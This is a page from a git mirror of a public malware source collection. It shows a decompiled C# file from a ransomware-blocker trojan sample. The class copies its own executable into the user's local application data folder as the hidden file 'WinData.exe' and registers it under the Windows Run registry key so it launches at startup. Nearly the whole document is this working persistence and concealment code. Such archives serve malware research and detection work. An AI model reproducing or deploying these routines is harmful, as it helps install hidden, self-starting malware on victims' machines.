mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
65 lines
2.1 KiB
C#
65 lines
2.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: browser_bastan.Araclar
|
|
// Assembly: WinData, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 162322D2-FE3A-45B9-99E4-3519564A1D4D
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.kkro-82cd479bb60c59525668e5016b400a8cc48f04b14a5c6cad5e2c6046b301e79d.exe
|
|
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace browser_bastan
|
|
{
|
|
public sealed class Araclar
|
|
{
|
|
private const string RegKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
|
private const int FEATURE_DISABLE_NAVIGATION_SOUNDS = 21;
|
|
private const int SET_FEATURE_ON_PROCESS = 2;
|
|
public static string Regkeyname = "WinData";
|
|
public static string DstName = "WinData.exe";
|
|
|
|
[DllImport("urlmon.dll")]
|
|
[return: MarshalAs(UnmanagedType.Error)]
|
|
private static extern int CoInternetSetFeatureEnabled(
|
|
int FeatureEntry,
|
|
[MarshalAs(UnmanagedType.U4)] int dwFlags,
|
|
bool fEnable);
|
|
|
|
public static void DisableClickSounds() => Araclar.CoInternetSetFeatureEnabled(21, 2, true);
|
|
|
|
public static void Copy(string src, string dst)
|
|
{
|
|
if (File.Exists(dst))
|
|
File.SetAttributes(dst, FileAttributes.Normal);
|
|
try
|
|
{
|
|
File.Copy(src, dst, true);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
}
|
|
File.SetAttributes(dst, FileAttributes.Hidden);
|
|
}
|
|
|
|
public static void Startup(string name, string path)
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
if (registryKey == null)
|
|
return;
|
|
registryKey.SetValue(name, (object) path);
|
|
registryKey.Close();
|
|
}
|
|
|
|
public static void DstCheck()
|
|
{
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
|
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
|
if (Path.GetDirectoryName(location) == folderPath)
|
|
return;
|
|
Araclar.Copy(location, folderPath + "\\" + Araclar.DstName);
|
|
}
|
|
}
|
|
}
|